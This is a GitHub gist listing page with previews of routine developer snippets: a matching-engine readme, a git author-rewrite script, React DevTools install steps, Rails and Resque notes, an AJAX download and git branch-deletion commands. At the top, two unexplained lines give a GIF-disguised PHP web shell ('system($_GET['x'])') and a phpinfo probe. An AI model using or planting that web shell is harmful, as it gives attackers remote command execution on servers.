Skip to content

Instantly share code, notes, and snippets.

GIF89a;<?php system($_GET['x']);
GIF89a;<?php phpinfo();
@blackjack99p
blackjack99p / readme.md
Created May 30, 2023 10:41 — forked from jdrew1303/readme.md
Market Order Matching Engine

Introduction

The computer driven markets for instruments like stocks and exchange traded stock options, have transformed finance and the flow of capital. These markets are enabled by order matching engines (and the infrastructure that supports this software). Before computer trading networks and matching engines, stocks where traded on cavernous exchange floors and transaction costs where high. When electronic trading fully matured, floor traders were a fading anachronism and transaction costs had been reduced to pennies a share in many cases. Electronic trading could not exist without advanced network infrastructure, but without the software matching engines no shares would change hands. The computer trading networks, the matching engine software has also created a concentrated nexus of potential failure. Failures in these systems have increased as the frequency and volume on the electronic networks has increased. The position of order matching engines in the trading infrastructure makes these systems o

@blackjack99p
blackjack99p / git-reset-author.sh
Created May 15, 2023 09:19 — forked from bgromov/git-reset-author.sh
Git: reset author for ALL commits
#!/bin/sh
# Credits: http://stackoverflow.com/a/750191
git filter-branch -f --env-filter "
GIT_AUTHOR_NAME='Newname'
GIT_AUTHOR_EMAIL='new@email'
GIT_COMMITTER_NAME='Newname'
GIT_COMMITTER_EMAIL='new@email'
" HEAD
@blackjack99p
blackjack99p / install react-devtools v3
Created September 9, 2019 09:47 — forked from oztune/install react-devtools v3
How to install React Dev Tools v3 so that you can have highlight updates again
1. Somewhere on your machine clone the project.
```
> git clone https://github.com/facebook/react-devtools.git
> cd react-devtools
```
2. Switch to the v3 branch
```
> git checkout v3
```
@blackjack99p
blackjack99p / active_record_objects_autosave.md
Created September 2, 2019 16:22 — forked from demisx/active_record_objects_autosave.md
When Active Record Child Objects are Autosaved in Rails

belongs_to:

  1. Assigning an object to a belongs_to association does not automatically save the object. It does not save the associated object either.

has_one:

  1. When you assign an object to a has_one association, that object is automatically saved (in order to update its foreign key).
  2. In addition, any object being replaced is also automatically saved, because its foreign key will change too
  3. If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.
  4. If the parent object (the one declaring the has_one association) is unsaved (that is, new_record? returns true) then the child objects are not saved. They will automatically when the parent object is saved.
@blackjack99p
blackjack99p / console.rb
Created October 4, 2018 07:01 — forked from nuxlli/console.rb
To access url helpers (url_for, etc) from Rails console (Rails 3)
# Example from: http://snipplr.com/view/37063/
include Rails.application.routes.url_helpers
# set host in default_url_options:
default_url_options[:host] = "localhost"
# can then use:
url_for()
@blackjack99p
blackjack99p / delete_failed_jobs.rb
Created September 16, 2018 04:57 — forked from nisanthchunduru/delete_failed_jobs.rb
Selectively remove/retry failed jobs in Resque 1.x
def delete_failed_job_if
redis = Resque.redis
(0...Resque::Failure.count).each do |i|
string = redis.lindex(:failed, i)
break if string.nil?
job = Resque.decode(string)
should_delete_job = yield job
next unless should_delete_job
@blackjack99p
blackjack99p / ajax_download.js
Created August 30, 2018 06:44
ajax download
// from https://codepen.io/chrisdpratt/pen/RKxJNo
// html: <button type="button" id="GetFile">Get File!</button>
$('#GetFile').on('click', function () {
$.ajax({
url: 'https://s3-us-west-2.amazonaws.com/s.cdpn.io/172905/test.pdf',
method: 'GET',
xhrFields: {
responseType: 'blob'
},
1. delete remote branches
git branch -r | grep "feature/AAA" | sed -r 's/^.{9}//' | xargs git push origin --delete
2. delete local branches
git branch | grep "hotfix" | xargs git branch -d